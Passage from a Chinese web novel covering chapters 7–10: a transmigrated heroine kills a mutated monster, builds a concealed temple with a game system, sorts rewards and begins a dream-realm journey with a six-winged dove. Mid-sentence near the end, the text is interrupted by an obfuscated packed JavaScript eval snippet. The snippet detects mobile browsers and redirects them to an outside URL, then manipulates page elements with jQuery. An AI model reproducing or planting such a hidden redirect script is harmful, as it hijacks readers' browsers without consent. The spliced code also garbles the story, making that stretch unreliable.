都郁长腿一跨，暗金色刀身斩断迷雾，侧切入怪物体内，冷喝一声，嗜血圣刀划拉开近一米的口子，微蓝色的□□哗啦流了一地，腐蚀得满地垃圾“嗤嗤”作响。 这怪物皮厚的像是切入了水泥，只一击嗜血圣刀的耐久就掉了五十点，此时正嗡鸣着吸收沾染上的怪物□□。 精神力快速注入身体各部分，都郁的眼里亮得像有火在烧，怪物庞大的身体在她脑里纤毫毕现，□□有强腐蚀性，行动缓慢，刚刚的一击没有效果，还没找到生物核心…… 都郁心思电转间，那怪物发出数道尖锐短促的尖叫，随后以不符合之前表现出来的敏捷，顶端飞速扭动，一团人头大小的黑球冲都郁面部轰来。 这怪物还会藏拙！ 都郁暗骂一声，脚尖一转，强行扭转方向向前翻滚，又一刀重重砍在怪物身上，随后好不恋战地退后，躲过小山一般重重砸下的怪物触须。 几次攻击都没有奏效，那怪物理智本就不高，在暴怒的催动下触须攻击越发没有章法，都郁像是有预判般轻松躲掉，趁机砍下那怪物触须踢远。 刀尖插入，触须像风干了半年的肉干样缩成一团，都郁一个翻滚躲过三根触须的夹击，抽空瞥了眼嗜血圣刀的属性，耐久不仅补满，耐久上限还提高到了150。 都郁心中一喜，后颈汗毛倒竖，大脑疯狂预警，余光瞥见一抹苍白，都郁抬头指向斜对面垃圾堆顶端的一辆废弃悬浮车，一道金光闪过，都郁瞬间被拽起飞，险之又险地躲过那怪虫的攻击。 精神力强行控制金绳缠绕并缩短，都郁此时并不好受，强烈的冲击像在都郁大脑里重重敲了一锤，但眼下的情境不允许都郁多休息。 那怪虫见都郁悬浮在空中，脱离了攻击范围，那怪虫气得头部高昂，露出那道曾吐出黑球的□□。 都郁眼神微动，即使是生命状态更加扭曲的堕落种，负责进食的部分就算不是生命核心，也一定离生命核心不远！ “叽！” 怪虫无能狂怒地用触须捶打地面后，触须反张，包住背着的肉球，炮弹般撞向眼前的垃圾山。 “轰隆——” 那垃圾山虽然称是山，但也不过是大大小小的垃圾堆在一起，本就摇摇欲坠，都郁用金绳攀住废弃悬浮车后一动也不敢动，生怕破坏了它好不容易稳定的平衡。 怪虫的撞击也不知道是不是撞到了什么关键点，都郁听着“咔嚓”的断裂声就知道不妙，精神力涌入左臂，全身肌肉绷紧向后荡去。 “砰——” 脚掌触及实物时瞬间发力，都郁小腿都陷进垃圾山里一截，在垃圾山崩塌的前一秒，金绳崩到了极致，凭借反作用力猛地向前飞去。 身体被抛到最高点时，都郁果断放手，借助惯性又往前冲了几秒，才在重力的催动下开始自由落体。 “叽！” 在都郁的控制下，大堆散落的垃圾砸在了怪虫身上，触须都被削掉了两根。 见都郁下落，它还不肯放弃，像刚刚的突然袭击一样，一根触须吞噬了两根同类骤然变长，如长鞭般抽向都郁。 来得正好！ 都郁嘴角勾起，不闪不避，只略微调整了刀锋，重重斩向那根加强后的触须。 以嗜血圣刀的锋利程度，第一下竟然没有破开那触须的皮。但都郁的目的已经达成，她肌肉绷紧，一分钟内挥出了上百刀。 圣刀在兴奋的嗡鸣里斩断怪虫的触须，都郁借着攻击的反震在空中短暂停滞了几瞬后翻滚卸掉冲击。 落地的瞬间喉咙涌上腥甜，被都郁随手擦掉，好在骨头没断。不远处几块大垃圾碎片被猛地击飞，怪虫蠕动着爬出。 见怪虫被砸瘪的头部缓缓鼓起，都郁眉头忽的一皱，那里不是它的弱点？被堕落气息侵蚀后的生物，用理智换来了超强的生命力。如果不针对弱点，再大的伤口，它们都能缓缓复原。 精神力燃烧是有时限的，自己必须尽快找到它的弱点，速战速决…… “啊！” 田一诺突然发出一声尖叫，声音高亢语无伦次，“肉球！肉球里面有人！它它它它在吃那个怪物！” 怪虫被声音吸引，迟疑地转了下身体，都郁往侧面跑了几步，绕到之前的视野盲区，终于知道田一诺为什么会尖叫了。 怪虫一只背着的肉球缩水了快五分之一，半透明的表皮皱起，里面层层叠叠的肉层下降了许多，露出一个篮球大小的婴儿头颅。 那婴儿紧闭着眼，长得和正常的人类婴儿没有区别，只是脑袋以下根本没有身体，一条细细的苍白触手出现在应该是脊椎的位置，穿透肉球的皮，越来越粗，直到变成现在都郁现在看到的三米高的软体怪物。 都郁终于搞懂了这怪物的身体构造，根本就不是怪虫尾部卷住了肉球，都郁看见的有触须的前端，其实是怪物的尾部。也可以说，那怪物一直拿屁股对着自己？ 怪物的主体就藏在那个装满肉块的肉球中，肉球既是怪物储藏实物的部分，也是它的伪装。如果不是都郁的攻击让它不得不消耗大部分能量，消耗了肉球中的肉层，那怪物的本体还露不出来。 这怪物的扭曲程度，和真正的堕落种也不遑多让，恐怕它距离最后的蜕变只有一步之遥。也许自己就是它还差的最后一部分？ 这么一想，怪物对自己的过度关注也有了答案。堕落生物混乱无序，但对擢升的渴望甚至能暂时压过它们精神体中翻涌的疯狂。 “我还以为是自己的嘲讽又进步了。” 都郁摸了把自己的脸，田一诺短暂地失控后反应过来，一把捂住嘴，攥紧都郁刚刚塞给自己的飞天大螂棒，手指用力过度失去血色。 怎么会有这么可怕的怪物……小姐，小姐能应付得过来吗，都怪我没有…… 田一诺想起都郁冲出去之前对自己的叮嘱，死死咬住唇，口腔里弥漫出血气。她脑子动的慢，此时唯一能想到的半分，就是念那段不知是真是假的祷告词。 侵蚀裂隙中的时空行者、吞噬时间谜语的六翼白鸽、谛听两端的聆听之主，卑微之人祈求您的关注，请您庇佑你的信徒…… “砰！” 那肉球中的苍白婴儿不知什么时候睁开了眼，阴冷地注视着都郁，头颅随都郁的移动三百六十度无死角地转动。 随着婴儿头颅的动作，怪物原本只处于本能的狂乱攻击竟然变得有序了起来，多条触须配合，有的卷起周边大的金属残骸，有的从多个刁钻的角度抽向都郁。 都郁躲过一辆飞来的悬浮车，眼底触须的倒影急速放大，都郁来不及躲闪，只能抽刀硬接了这一击，巨力让她险些握不住刀，被迫倒仰，背部在地面划行了数米才强行停住。 “小姐！” 田一诺瞳孔骤缩，眼见那怪物欺身向前，挥舞着触须就要抡向都郁，抓起武器就要起身，刚从祭坛后站起，就听见都郁着急的喊声： “小田，你帮我看一下我的肉！别把我的肉烤糊了！” 听小姐的话已经刻在了田一诺的DNA中，她下意识转身，用干净的小刀在锅里搅了搅，才猛地抬头意识到不对：“小姐——” “叽……！” 怪物兴奋的叫声突兀地停住，在田一诺的视线中，那怪物触须的尖端还在抽搐，庞大臃肿的身体却僵在原地。 没有怪物发出的噪音，这迷雾裂隙内安静得可怕，都郁喘着粗气，心脏声大得像要从胸腔里跳出来。 她短暂地闭了下眼，快速抽身，绕到怪物身后，按住兴奋得颤抖的刀柄，使出全身的力气用力在肉球中切割乱搅，确定那婴儿头颅已经被切得不能再切，才如释重负地退后了几步。 让田一诺喂着自己吃了几块肉，合成肉烤的半生不熟，在口腔里弥漫出浓浓的涩腥味。 这股涩腥味勉强补上了体力的亏空，都郁示意田一诺走远，挤出仅剩的精神力，汇聚在手上，将怪物剩余的部分剁成小段。 直到都郁将最后一条还在抽搐的触须切碎，从中剜出指甲盖大小的淡蓝色晶体，系统的击杀提示才响起： 【恭喜玩家成功击杀D级怪物（蜕变中）！】 这游戏过了新手期变得吝啬起来，击杀怪物后除了一个恭喜提示外啥都没给，堪称一毛不拔。 都郁嫌弃地关掉系统光屏，用废旧布料合成的小包小心收起这晶体。 如果说异能者的能力体现在觉醒出来的特质的话，堕落种的能力则都凝聚在这一枚小小的要素核心当中。 不仅如此，堕落种生命力极强，除非剜去这枚小小的要素核心，否则哪怕是指甲盖大小的碎片，都有可能寄生污染其他生物。大灾变刚降临的时候，都郁在这点上吃了不少亏。 这怪物连要素核心都凝练出来了，要不是遇到了自己，恐怕过不了几天一个新的堕落种就要诞生了。 即使在都郁前世实力巅峰，面对最低等级的堕落种都要小心应付。可惜它太过贪心，惹上了不该惹的人。 “感谢大自然的馈赠！” 都郁心头一松，让田一诺抱着锅，自己合成出一个小推车，在剁碎的怪物碎片中挑挑拣拣，装了满满一车。 “小姐，我们要去哪里啊？” 田一诺回头看着身后散发着微光的祭坛。就在刚刚同生共死的几十分钟里，她已经和那个散发亲切气息的祭坛建立了亲密的友谊。现在都郁让她离开，她还有些舍不得。 都郁懒懒抬眼看了她一样，知道田一诺在成为自己信徒的时候就被神力标记过了，所以会不自觉地对有神明气息的事物持有好感。 “那我走你去陪陪它？” “不！”田一诺像是响起了什么可怕的事情，梗着脖子，“我要永远追随小姐！最多，最多之后安全的时候我会来看看它的。” 都郁被她又怂又理直气壮的样子逗笑，也不再逗她，“一会儿你就能看见它。” “嘿嘿，小姐最好了。” 田一诺傻笑一声，“‘一会儿’是多久啊？” “现在。” 都郁突然停住，田一诺险些连人带锅撞了上去，迅速停住脚，好奇地打量四周，这也没有啊。 迷雾裂隙中的空间就是如此不讲道理，两人刚刚还在大型垃圾场中，视野尽头全是大堆大堆堆积起来的废物，田一诺跟着都郁赚了两圈，就突然进到了建筑中。 两人脚下的石子小路向前延伸，身边是一栋栋房屋。这些屋子的建筑风格不像小说中城市的建筑，倒有点像原本世界中的乡村四合院风格。 站在村口回头望，低矮的水泥房子和几步外高耸的垃圾堆对比着看，非常突兀。不过在迷雾裂隙中，发生什么都是正常的。 都郁看了几眼，找了个比较干净的院子，吩咐田一诺把锅放在角落。自己推着车到墙根，靠着墙坐下休息。 “小田，你闭上眼。伟大的聆听之主很欣赏你在刚刚的情景下都没有把肉烤糊，祂要给我们赐予奖励。” “好的好的！” 虽然不知道发生了什么，都郁战个斗的功夫，田一诺似乎对这个默默无闻的神又虔诚了几分，都郁在战斗中匆匆看见了信仰点加一的提示。 还在这是好事，都郁不用找借口糊弄田一诺。她话刚说完，田一诺就双手合十放在胸口，煞有其事地一遍念祈祷词一遍点头。 见田一诺一个人自娱自乐得很好，都郁收回视线，点开系统界面，先点击建筑的【祭坛】，使用了一天一次的迁移将祭坛挪到院子中间。 院中空气扭曲了一瞬，一座直径约一米的圆型建筑凭空出现。建筑造型简约，四周雕刻着古朴的飞鸟花纹。中间挖出了一个空洞，往里看却看不到底，只能看见不断翻滚的淡紫色迷雾。 田一诺似乎察觉到熟悉的气息，身体动了动，但听都郁的话没睁眼。 都郁瞅了她一眼，如果连头脑简 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在垃圾堆里合成的材料很少有有等级的，几乎大部分都是不入流的凡品。但是，凡是通过合成获取的材料都有一个优点，那就是都可以放入游戏系统背包中带走。 游戏系统背包开局有十个格子，每个格子的储物上限是99。虽然这类游戏到了后期格子数都是随随便便就能占满，好让玩家氪金的。 但都郁现在一穷二白，背包格子非常富裕。在防护罩还没过期时都郁合成了不少基础材料，此时都在背包里放着。 含有超凡要素的材料那怪物的血肉勉强能算，符合建造要求，都郁快速按下建造按钮。 【建筑—初级神殿建造中，倒计时59s……】 不是核心建筑以外的建筑建造起来就是快，都郁背包中扣除了相应材料，退后靠到墙边。 小院中间的祭坛凭空而起，石料迅速在下堆积起一个半人高的石台，四面都有石台阶可以靠近。 小院原本有的房屋像被橡皮擦擦掉了一般消失，几根木头立柱围着祭坛，像半空中有尺子指挥那样，四四方方地围成一个正方形。 都郁差点要怀疑自己能遮风挡雨的小屋变成了这几根中看不中用的立柱，只见立柱和立柱之间似乎有无形的帷幔垂下，笼罩住散发着淡淡神圣气息的小院。 帷幔下，除了东方，立柱围成的其他三面，每面都缓缓建造出两间精致的小屋。面积看上去比不上之前的，但是白墙黑瓦，再加上墙面若隐若现的花纹，颜值一下飙升。 自己一间，田一诺一间，都郁数完满意地点点头，自己的厨房有了。 就在都郁认为神殿已经建造完成时，祭坛旁边，突然多了一个圆盘形状的棕色物。 而且只有左边有，破坏了原本四四方方的神殿的对称，强迫症看了能抓狂。 都郁上前看了眼那个由草和木丝编造的，像是鸟窝一样的东西，没看出这到底是什么，顺手将新手大礼包中送的【干净的水井】放到了祭坛右边的空地上。 都郁刚放完，系统提示音终于响起： 【恭喜玩家建造神国建筑—初级神殿，获得奖励……】 都郁暂时没看奖励，直接点开【建筑】界面，在状态改为“已建造”的初级神殿的下面第一栏，直接点击“开启效果”。 【建筑效果[隐秘]已开启】 看到【隐秘】开始的提示语，都郁这才放心下来，一屁股坐在祭坛边的石阶上，一条腿弯起踩在下一节，一条腿舒展地垂下，得意地冲田一诺打了个响指。 “好啦，可以睁眼了！” “哇——” 田一诺非常捧场地兴奋鼓掌，来来回回绕着这不大的小院走了好几圈，时不时发出惊叹，然后像想起什么似的冲到都郁面前。 “小姐，好神奇！这里也太漂亮了——所以我的锅放哪？再不烤肉就要凉了。” 都郁颇为欣慰地点点头，拍拍她的肩膀：“不错，你拥有很高的觉悟！好好干，以后你说不定能成为神国里第一大厨！” “好，我会努力的！” 田一诺端着铁锅庄重地点点头，都郁随手一指，“那边一排的屋子用来住人，这边你你随便挑一间当厨房！” “好——啊！” 田一诺兴奋地点头，转头下一秒眼睛睁大惊叫出声。 意识到不能发出声音后，田一诺眼睛瞪得更大，两手死死捂住嘴。“哐当”一声锅脱手砸在地上，田一诺又着急忙慌地蹲下捡锅。着急地侧过头用气声提醒：“小姐，变异猫！你快跑，我掩护你。” 都郁被她逗得笑得快喘不过来气，揉了一把脸，“你再看看呢？” “！” 田一诺高度紧张，短短几小时她就已经深刻认识到了这些变异生物的危险。只见院落外十几米的位置，一只两米多长的变异黑猫悠然路过，身后九根触手般的长长尾巴在空中舒展。 这只猫一看就不好惹！田一诺焦急地揪着都郁的衣袖，但见都郁没有跑的打算，她一咬牙挡在都郁身前，如临大敌地瞪着黑猫。 那黑猫像是闻到了什么，一跃就跳到了小院门口，兴奋地嗅闻着地面上溅落的怪物□□，成年人拳头大小的眼珠不住地扫过前方。 有那么几个瞬间田一诺敢保证自己都和那变异黑猫对视了，可那猫却只是烦躁地摇摇尾巴，头颅不住摆动，像是根本看不见眼前的小院一般。 恐惧逐渐被好奇取代，田一诺看着全新的小院，压低声音：“小姐，它看不见这里吗？” “对。”都郁好笑地揉揉她的头，收力弹了她一脑瓜崩，“放心吧，只要不出院子，这里就是绝对安全的。” “太好了！” 田一诺下意识惊呼，又扭头警惕地盯着黑猫，确认它听不见后才一步三回头地选中一间小屋，学着都郁的样子垒着简易灶台。 田一诺走远，都郁脸上的笑容瞬间消失。她纠结着看着眼前的建筑界面。 【建筑名称：初级神殿】 【介绍：供奉[聆听之主]的一座简陋的神殿，无信仰点加成】 【建筑效果：】 【隐秘（已激活）：神的面目不可直视，神的居所不可窥探。激活后神殿区域不可闯入、不可窥视，不受堕落气息沾染。】 这个建筑效果当然是好的，不然自己也不能这么着急忙慌地把它建出来。躺在这里，那怪物造成的伤口都没那么疼了。 只是，都郁抽了抽嘴角，看着少的可怜的信仰点，心在滴血：每两小时消耗1点信仰点，这也太贵了！ 但在危险四伏的迷雾裂隙，这效果又不得不开。都郁在游戏和书中翻找了一圈，渐渐有了点眉目。 等伤好了自己要去整点薯条——不是，要去整点信徒！ 8. 奖励时间 梦想是美好的，但现实是残酷的。 这狗屁游戏要在迷雾裂隙中才能激活，但这里变异生物比人多，垃圾比变异生物多，去哪里搞信徒？ 都郁安详地躺在石阶上，躺尸了一会儿，点开系统通知看之前没来得及仔细查看的奖励。 都郁现在还有三份奖励没有领。完成四个新手任务奖励的四个物品、特殊建筑【祭坛】建造完成后赠送的新手大礼包，以及建造神国建筑【初级神殿】时获得的奖励。 奖励没领取的话会在系统空间暂存三天，期间不占用背包格子。新手任务送的四样物资，【干净的水井】已经放置在了祭坛边的空地上。 这游戏难得做了回人，除了一个用砖石围起来的水井，还附带了一套打水装置。都郁点开水井的信息栏： 【名称：干净的水井】 【等级：E（可升级）】 【物品说明：一口每天产出约10L清水的水井。清水无毒，但水质偏硬，长期饮用可能会带来脱发等困扰】 【升级方式：获取侵蚀/擢升/净化等要素】 这井还能升级？都郁一骨碌坐起来，好奇地看着其他物品后没有的那一栏。 也许是穿书后小说自动补完世界观的原因，都郁发现这个小说世界和自己的世界在超凡领域非常相像。 两个世界的超凡降临都源于那一场几乎要毁灭世界的灾难，旧世界的文明崩塌，却也带给人类全新的能力。 异能者——小说世界称为侵蚀者，都有着独一无二的超凡能力，每个人觉醒时都会自觉地知道知道自己能力的名称（也就是特质）。 每个人的能力虽然不同，但都用相似之处。比如原身的【命运之轮】和小说男主的特质【等价天平】，就都是涉及运气交换方面的特质。 小说世界毕竟科技水平更高，文明在大灾变后保存得更完整，这里的学者不仅发现了异能者们能力的相似，还提出了著名的“要素假说”。 “要素假说”认为所有的超凡都拥有同一个源头，学者将这个假想中的源头命名为【源】，认为异能者实力越强，特质就越纯粹，就越在超凡领域接近【源】，并据此提出【源】有六种上位要素，异能者们拥有的特质都是源自这六种上位要素。 但具体有哪六种，原主上课没仔细听，听到【命运】是其中一种后就心满意足地阖上了眼。 都郁现在倒是感兴趣，可惜这种冷门的超凡研究，她在迷雾裂隙中根本没有门路了解。 “侵蚀，擢升，净化，会是上位要素之一吗？还是只是它们下属的普通要素？” 都郁将水井的升级条件记在心里，继续整理物资。 新手任务奖励剩下的三样东西，医疗箱当时取出治疗了，现在被田一诺背在身后。兽皮帽在和那软体怪物战斗时损坏了，失去了防御加一的属性。 污染测量仪还在系统中暂存，都郁取出后放在祭坛旁边。污染测量仪有点像大型温度计，主体是一根刻着数值的透明管，下方是一个都郁看不懂的金属装置。 因为开启了初级神殿的[隐秘]效果，连迷雾裂隙中无处不在的污染都被排除在外，污染测量仪上的指针抖动了几下，缓缓上升到0.3的位置。 按照使用说明，这污染值不会影响人体健康。但安全封闭的神殿内还有污染？ 都郁有些奇怪，目光扫过看似无害的祭坛，摸了摸下巴，莫非田一诺说的亲切的气息，本质上也是一种污染？ 系统自都郁完成新手任务后就沉寂了许多，166也不知道窝在哪个角落里装死。都郁的疑问没有人回答，她也不在意，继续低头整理物资。 初级神殿的建造奖励最少，只有一个【作用不明的石蛋】，提示里说要放在祭坛里孵化，都郁就顺手把它放在淡紫色雾气里。 最后的新手大礼包就丰厚得多了，除了显示的三份图纸，还有两个标着随机的未知物品。 都郁起身，冲到水井边打了小半桶水。动作扯到了伤口，都郁咧咧嘴，洗完手后冲祭坛拜了拜，嘟囔了一句自己保佑后打开了锦囊状的大礼包。 【叮咚~恭喜玩家获得[初级面包烘焙机图纸]*1、[祭坛升级图纸·唯一]*1、[灵界漫游画卷·唯一]*1、[合成配方·任意空间门]、[空间定位锚]*1】 合成配方！都郁眼神一亮，自己真的抽出好东西了！配方合成是高等级合成器才能解锁的功能，合成出的东西是已知的，不用像基础合成那样卡bug或赌运气。 都郁迫不及待地点开配方，脸上的喜悦渐渐消失。 【配方名称：任意空间门】 【等级：B】 【材料：门*1、昏级堕落种核心*1、门外气息*1】 【合成物介绍：一扇通向任意空间的门，门外的空间取决于合成所用气息，气息越强，定位越精准。】 【备注：这是一扇单向门（一次性用品）】 一扇空间门，只要有沾染现实世界气息的物品，自己就能离开迷雾裂隙了。 东西是好东西，但就是怎么让人感到不爽呢？这游戏把自己忽悠进迷雾裂隙，结果出去的门还要自己攒材料做？ 昏级堕落种的核心是好获得的吗？ 有了合成配方的前车之鉴，都郁对后一个物品的作用也有了猜测。果然，这【空间定位锚】的效果就是为了配合【 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好在最后的图纸使用得多。使用图纸后合成【初级面包烘焙机】，合成后消耗体力就能获得面包。等级不高只有D，但值得惊喜的是在都郁把它放到厨房时，跳出了是否授权信徒使用的选项。 这面包机竟然可以消耗田一诺的体力，都郁点了“是”，告诉田一诺如何操作机器。“咔咔”两声，一包棍状面包从传送带里滚出。 一包里有六条成年人大臂粗细的黑面包，算下来一点体力换一天的主食，还算划算。 “感觉怎么样？” “好神奇！稍微有点累，但还好，就像刚刚扫了个地。” 田一诺跃跃欲试，点了四五下才出现疲态。都郁确认这机器没啥负面因素，叮嘱了一天最多点6下后抱着面包，端着一碗肉汤离开了厨房。 这游戏出品的黑面包难吃的要命，都郁一口咬上去的时候怀疑自己在啃硬木，用精神力强化牙齿后才咬得动，六根黑面包吃下来都郁吃的一身的汗。 要不是有【饕餮】的天赋在，都郁合理怀疑吃这玩意能给自己吃掉血。 喝掉苦涩还略带糊味的肉汤，都郁闭眼感受进食后能量传遍全身的暖流。伤口在暖流经过时微痒，但更多的暖流却像是落到无底洞里，倏然消失。 都郁捂住刚进食完又传来饥饿感的胃部，点开界面，盯着状态栏里的【基因崩溃】，眸光微沉。 “必须尽快解决掉这个负面状态，不然即使自己有【饕餮】的天赋在，也迟早会被这个debuff拖垮。” 9. 灵界漫游 第九章 穿书后脑域中的空洞，很可能就是原身被强行剥夺特质留下的后遗症，也就是状态栏里出现的【基因崩溃】debuff。 说实话，如果这个人不是自己，都郁自己都要惊讶有人竟然剥夺特质之后还能活下来的。 特质是异能者灵魂的具现，人截肢能活，没了心脏，没了血液，要怎么活下去？ 难道是自己穿越，自己的精神力暂时堵住了精神空间中的漏洞，才让“基因崩溃”后面有了一个倒计时，不至于刚穿就原地暴毙？ 涉及精神力和异能本质，都郁一时找不到答案，转而思考一个更务实的问题：怎么堵住精神空间里的洞？ 都郁闭上眼，意识下沉触及到那片神秘空间，神思一动，精神力具象成淡紫色的小湖，刚在休息中上升了一小截，空间中那个虚无的空洞就猛地吸入了一大截。 这简直让都郁梦回初中，没想到穿越了还能再见到那个一边接水，一边放水的神经泳池管理员。 放水的速度大于接水，不管泳池的水有多少，迟早会被放干……除非，她能想办法堵住那个漏洞。 都郁目光落在那个洞上，既然这玩意是特质被剥夺后留下的，那自己是不是再获得一个特质，就能把这伤口堵住了？ 都郁脑中刚冒出这个想法，系统突然出来刷存在感： 【叮咚~玩家触发生存任务[融合特质]】 【任务要求：祭坛已有，神殿已建，可神国中依旧缺了什么；信徒数量大于等于10，在祭坛中点燃神火】 【提示：劳累过度，适当的休息会是一个不错的选择~】 【任务奖励：特质[???]融合，消除debuff[基因崩溃]。】 自己误打误撞竟然真的想出了解决基因崩溃的方法！只是倒计时不到两天，她上哪去在迷雾裂隙里找十个活人？ 都郁揉了揉乱七糟八的头发，打量着水井中倒映出来的那张脸。 五官端正，脸型流畅，和前世有七分相似。不过原身喜欢紫色，将发囊和虹膜都染成了紫色，再加上在脸上打过的各种针，硬生生将七分相似变成了三分。 哦，似乎田一诺的红发也是原身让染的，因为红色显白。田一诺顶着红头发站在身后能把原身衬得白一点。 原身似乎格外喜欢显眼的颜色，不管是红还是紫，都选了非常灿烂的高饱和色。 虽然亮得都郁眼疼，但不得不说，这样的颜色在迷雾裂隙中确实非常显眼，衬得环境都没有那么压抑了。 都郁和自己面无表情地对视了一会儿，揉揉脸，两手扯住脸上肌肉，拉出一个灿烂的笑容，自言自语道： “只要还能笑得出来，吃的下去，就能活下去；只要还能笑得出来，吃的下去，我就必须要活下去。” “小姐，你说什么呢？” 白墙后探出一个红脑袋，田一诺似乎在迷雾裂隙里找到了烹饪的快乐，她问出口就忘了刚刚问过的话，冲都郁展示自己的碗：“小姐，你看我新做的菜！肉汤泡黑面包！” 一碗黑色的粘稠液体中，漂浮着不明的糊状物，带着血丝的肉块在其中沉浮。 你不得不承认，有些事，光靠热情还不够，可能还需要点天赋。 都郁被田一诺逗笑，左右自己吃不死，接过来屏住呼吸一口吞下，竟然只是一般难吃，没到特别难吃的范畴。 都郁拒绝回忆它的味道，看向田一诺：“以后别叫我小姐了，听起来跟封建社会一样。” “啊？那，那我该叫什么？” 田一诺迷茫地看着都郁，不明白她为什么要突然改称呼，听完都郁的回答更迷糊了，“咱都未来社会了，好歹整点资本主义吧……你以后在外部，要叫我老板。” “老、老板？” 都郁满意揣手离去，田一诺看着她的背影迷惑挠头，小姐又在说听不懂的怪话了。 — 家徒四壁都不足以形容系统提供的初级神殿，因为初级神殿的房子都只有三面墙！至于家具那更是想都不要想。 都郁站在自己挑的小屋外沉默了一会儿，还是认命地掏出合成器开始合成。 她现在都已经合成出规律了，如果只是单纯地合成材料，很大概率会得到更高一级的材料，或是随机合成出奇奇怪怪的东西。 但要是把材料先加工成半成品再进行合成，合成出想要东西的概率就会高很多。 都郁带着田一诺一起，搞了半天，总算把两个屋子的必备家具，以及厨房的灶台等做好。其中基础材料不够，她还绕过变异黑猫，偷偷去垃圾堆里挑拣了一番材料。 回来时差点撞上那只黑猫。黑猫在都郁消失的地方闻了很久，还是没发现就站在离她三米距离的都郁。 虽然迷雾裂隙中没有昼夜交替，但根据游戏报时，两人折腾完一圈，已经到了该睡觉的时候。 除了污染和怪物，睡眠也是迷雾裂隙中的一大危机。或者确切地说，在迷雾裂隙中睡着的人一定会做梦。 迷雾裂隙中的梦，可能无事发生，也可能闯入恐怖可怕的怪物，在梦境中死去的人再也没有在现实中睁眼。 不过都郁跟系统确认过，神殿对两人的保护也包括梦境，两人也就不用轮流守夜，将陷入恶梦的同伴打醒了。 “晚安，小……老板。” 田一诺打着哈欠跟都郁道别，身上的衣服已经换下，穿着一身都郁偶然合成出的白鸭睡衣。 【名称：白鸭睡衣】 【等级：E】 【合成物介绍：穿上它，你将一觉到天明。白鸭会守护你做个好梦。】 【提示：不要吵醒鸭子睡觉】 虽然是撞大运出的有品级装备，但都郁不习惯睡太死，这件睡衣就给了田一诺。 “做个好梦。” 都郁躺在床上的一瞬间，几乎能听见全身细胞的哀嚎。尽管有精神力支撑，这一天的频频透支造成的负荷非常大，这具没怎么训练过的身体几乎要撑不住。 这也是为什么倒计时所剩无己，都郁却没有出去冒险。以现在的战斗力出门，只有给变异生物做饲料的份。 等明天精神力恢复，看能不能找个昏级堕落种开个门…… 都郁意识渐渐昏沉，奇妙的是，有一股奇妙的力再牵着她向上，再向上…… 直到脱离苦弱血肉的桎梏，都郁豁然睁眼，清晰地知道自己在做梦。 清醒梦？ 都郁低头，除了身体略有些虚幻外和现实里没有区别。她还是在神殿内，只不过是以悬浮在空中的视角，她的视线能够穿透墙壁。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13253750|139734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 隔壁田一诺正呼呼大睡，她兜帽上的白鸭头变成了一只真的白鸭，团在她头发里一起睡觉。 都郁若有所感，点开游戏界面，果然面板中有个按钮正在发光——是之前抽奖后多的灵界漫游功能。 灵界漫游？这里是灵界？都郁若有所思，在迷雾裂隙中做梦的会有危险，是不是因为她们来到了灵界？ “咔嚓——” 清脆的断裂声自祭坛传来，都郁好奇地飘过去，之前系统奖励的未知石蛋正在轻微摇晃，顶端开裂，缝隙里逸出白光。 都郁饶有兴致地盯着石蛋，突然想起生存任务给的提示，“适当的休息会是不错的选择”是指做梦？在梦里自己能完成那个生存任务？ 在都郁的灼灼目光中，石蛋摇晃得更剧烈了，“喀”一声，石蛋顶端裂缝加大，一团光顶着石壳冒了出来。 光芒渐弱，都郁诧异地跟顶着石头壳的白鸽对视。石头里孵出来一只鸽子？系统是要自己去演东游记吗？ “咕~166竭诚为您服务。” 那鸽子跳出石蛋，在半空中飞了一圈落在祭坛边缘，像人一样地冲都郁鞠了一躬，三对翅膀依次在身后合拢。 “六翼白鸽，166你就是游戏的logo？” “166就是166呀。” 白鸽咕了一声，不知真傻还是假傻地歪了下头，扇了几下翅膀： “咕~玩家是否要进行灵界漫游？漫游一天只能进行一次，漫游途中可以随时选择终止~” 都郁深深看了166一眼，自己在祈祷词中随口说的“六翼白鸽”真的出现在了游戏中，是巧合吗？ 166避开都郁探究的眼神，跳到另一端，开始复读：“玩家是否进行灵界漫游……” “开始。” 饭要一口口吃，游戏就在那里，有的是时间摸索，现在的关键是凑够十个信徒解决【基因崩溃】的debuff。 “咕！” 166展翅飞起，随后三对翅膀依次在空中展开、放大，白鸽最后大得像只鹰，如炮弹般撞到都郁胸口。 “嗬！” 都郁痛苦地捂住胸口，刚刚撞进去的不像一只鸽子，像是一块烙铁、一场海啸、一个正在爆炸的宇宙。从心脏开始，器官，血管，筋膜，皮肤，所有的所有似乎都在一瞬间焚尽，又在下一秒以细胞开始重新生长；如此循环，不断反复。 都郁痛得五官扭成一团，又或者此时的她根本没有五官，光线在扭曲跳舞，火焰弥漫着灰尘的臭味，远处圣洁的梵音里有人在嘶吼，有人在狂笑，有人自地面坠向星空！ 她把嘴张大最大，想要用吼叫倾泻痛苦，吐出的却是一大团沾满鸽羽的肉块。那肉块蠕动着跳舞，欢笑中分裂，六只洁白神圣的白鸽盘旋而出，依次撞入双眼、双耳，鼻子，嘴巴。 世界轰然炸响，世界寂静无声。也许是永久，也许只是一瞬，都郁终于在痛苦中找回了意识，耳边传来遥远的声音： 【凡人妄图窥见不可名状之物，总要付出代价】 【你完成了一次[跃迁]，听见了[混沌]的残响。】 我也许是疯了。 都郁想，她抚摸着刚刚听到那宏大声音的耳朵，泪流满面。 她摸到了一对鸟类才会有的翅膀。 10. 群体梦境 那奇怪的感觉来得快，去的也快，都郁回神，揪住蹲在肩膀的鸽子，“解释。” 166讨好地用喙帮她整理耳边的头发，“咕~瞎子只有装上眼睛才能看见世界，凡人想要登入神的领域，自然也要先装上相应的‘器官’。” “比如这个？” 都郁飘到水井上空，除了耳朵发生了变异，她头发也变长了。好奇地摸了摸脸颊两端伸出的翅膀，“这玩意竟然能听见声音，果然物理学已经死了。” “只有在灵界漫游的时候会变成这样，而且外表的变化只是最微不足道的一部分。” 鸽子不满地“咕咕”叫了起来，但都郁问它其他的变化是什么时，166就开始装傻转移话题，“让我们开始今天的灵界漫游吧！请玩家闭眼，用翅膀去感受~” 